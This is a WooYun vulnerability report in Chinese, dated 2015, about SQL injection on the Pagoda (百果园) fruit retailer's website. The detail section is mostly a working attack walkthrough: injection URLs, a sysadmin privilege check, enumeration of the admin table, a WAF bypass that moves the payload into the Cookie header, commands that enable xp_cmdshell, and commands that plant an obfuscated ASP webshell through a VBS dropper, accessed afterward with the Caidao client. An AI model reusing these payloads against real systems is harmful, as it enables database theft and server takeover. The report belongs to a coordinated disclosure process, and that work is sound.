当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143048

漏洞标题:百果园官网存在SQL注入漏洞,可获取WebShell

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-09-24 23:02

修复时间:2015-11-13 10:04

公开时间:2015-11-13 10:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-24: 细节已通知厂商并且等待厂商处理中
2015-09-29: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-10-09: 细节向核心白帽子及相关领域专家公开
2015-10-19: 细节向普通白帽子公开
2015-10-29: 细节向实习白帽子公开
2015-11-13: 细节向公众公开

简要描述:

百果园官网存在SQL注入漏洞,并且是SA权限,可以执行cmd命令

详细说明:

漏洞地址:http://**.**.**.**/News/Detail.aspx?NewsID=1173&ModuleNo=0301
存在漏洞的参数:NewsID
注入类型:单引号型
漏洞证明:
http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20and%20%27%27=%27&ModuleNo=0301

QQ图片20150923200125.png


http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20and%20%271%27=%27&ModuleNo=0301

QQ图片20150923200215.png


http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20and%20db_name()%3E0%20and%20%20%27%27=%27&ModuleNo=0301

QQ图片20150923200612.png


爆出数据库名
http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20and%201=(select%20IS_SRVROLEMEMBER(%27sysadmin%27))%20and%20%20%27%27=%27&ModuleNo=0301
页面返回正常,说明是SA权限
爆数据库字段,得到存储管理员账户信息的表名是:SysUser

QQ图片20150923201104.png


枚举出所有管理员的帐号信息,但是密码是sha1加密的

QQ图片20150923201222.png


不想花钱,就没有继续破解管理员密码。
由于是SQL Server数据库,准备用其它方式获取WebShell。
首先想到获取网站根目录,试了下随便一个不存在的URL。

QQ图片20150923201551.png


犯了很多网站都犯的错误
想先试一下差异备份方式,但是创建临时表的时候报错了
http://**.**.**.**/News/Detail.aspx?NewsID=1173%27%20create%20table%20TmpTab(id%20nvarchar(255),num1%20nvarchar(255),num2%20nvarchar(255),num3%20nvarchar(255))--&ModuleNo=0301

QQ图片20150923201935.png


由于之前执行都没有报错,这个根本没有想到是WAF的原因。
后来才意识是有关键字在黑名单的原因,测试了一下,大概有“script declare create insert drop update”这些,基本上包括了操作数据库相关的命令字。
尝试用cr%65ate、cr%u0065ate这些方式绕过,但都失败了。
而且如果尝试次数多了,页面就会无法访问,只能换ip或等待一段时间。
试了各种绕过WAF的方法都不行,甚至还试了http://**.**.**.**/bugs/wooyun-2015-0115175里用的方法,但是貌似对**.**.**.**无效
最后发现,用cookie方式尽然可以绕过去。

GET /News/Detail.aspx?ModuleNo=0301 HTTP/1.1 
Accept-Language: zh-CN,zh;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept: */*
User-Agent: Googlebot
Host: **.**.**.**
Cookie: NewsID=1173' create table TmpTab(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255))--; and ''=';


终于返回正常了!
不过有个问题比较麻烦,就是在cookie中分号是分隔符,必须保证注入的语句中没有分号。幸好的是,我把分号换成空格也没有报错。

漏洞证明:

使用差异备份生成的asp或aspx文件中应该存在<%%>之类的符号,导致脚本不能正常解析,试了几次都失败了,就放弃了。
各位大牛不知道有没有好的解决这种问题的方法。
接着就试验xp_cmdshell,由于SQL Server2005默认是关闭的,需要先开启下来
EXEC sp_configure 'show advanced options',1 RECONFIGURE--;
EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE--;
试验了一个命令,都是可以的,就直接写马了。
exec master.dbo.xp_cmdshell 'cmd /c echo ^<%execute request("wooyun")%^> > D:\bgynet\zwbyg-new\wooyun.asp'--;
这句话试了多次也没有正确写进去,一直想不通原因。
后来想到一种猥琐的方法,先写入一个vbs脚本,然后运行vbs脚本,生成目标文件
在vbs脚本中,特殊符号可以用编码解决。
不过写进入之后,第一个能访问,第二次再访问就404了,估计又是那个WAF在搞鬼。
在网上找了个加密的一句话,写进去就好了。

exec master.dbo.xp_cmdshell 'cmd /c echo Set fso = CreateObject("scripting.FileSystemObject"):Set tf = fso.CreateTextFile("D:\bgynet\zwbyg-new\wooyun.asp", True):tf.Write (chr(60)+"%Function MorfiCode(Code):MorfiCode=Replace(Replace(StrReverse(Code),"+chr(34)+"/*/"+chr(34)+","+chr(34)+""+chr(34)+""+chr(34)+""+chr(34)+"),"+chr(34)+"\*\"+chr(34)+",vbCrlf):End Function:eXecUte MorfiCode("+chr(34)+")/*/nuyoow/*/(tseuqer lave"+chr(34)+")%"+chr(62)):tf.Close > D:\bgynet\zwbyg-new\wooyun.vbs'--;


使用菜刀访问:

QQ图片20150923204519.png


不过WAF很快就发现了,菜刀过会就访问不了了,只能换ip或等待一段时间。
就到这里吧,不想继续深入了

QQ图片20150923204828.png


QQ图片20150923204945.png


修复方案:

过滤单引号,不要完全依赖WAF

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-09-29 10:03

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领.

最新状态:

暂无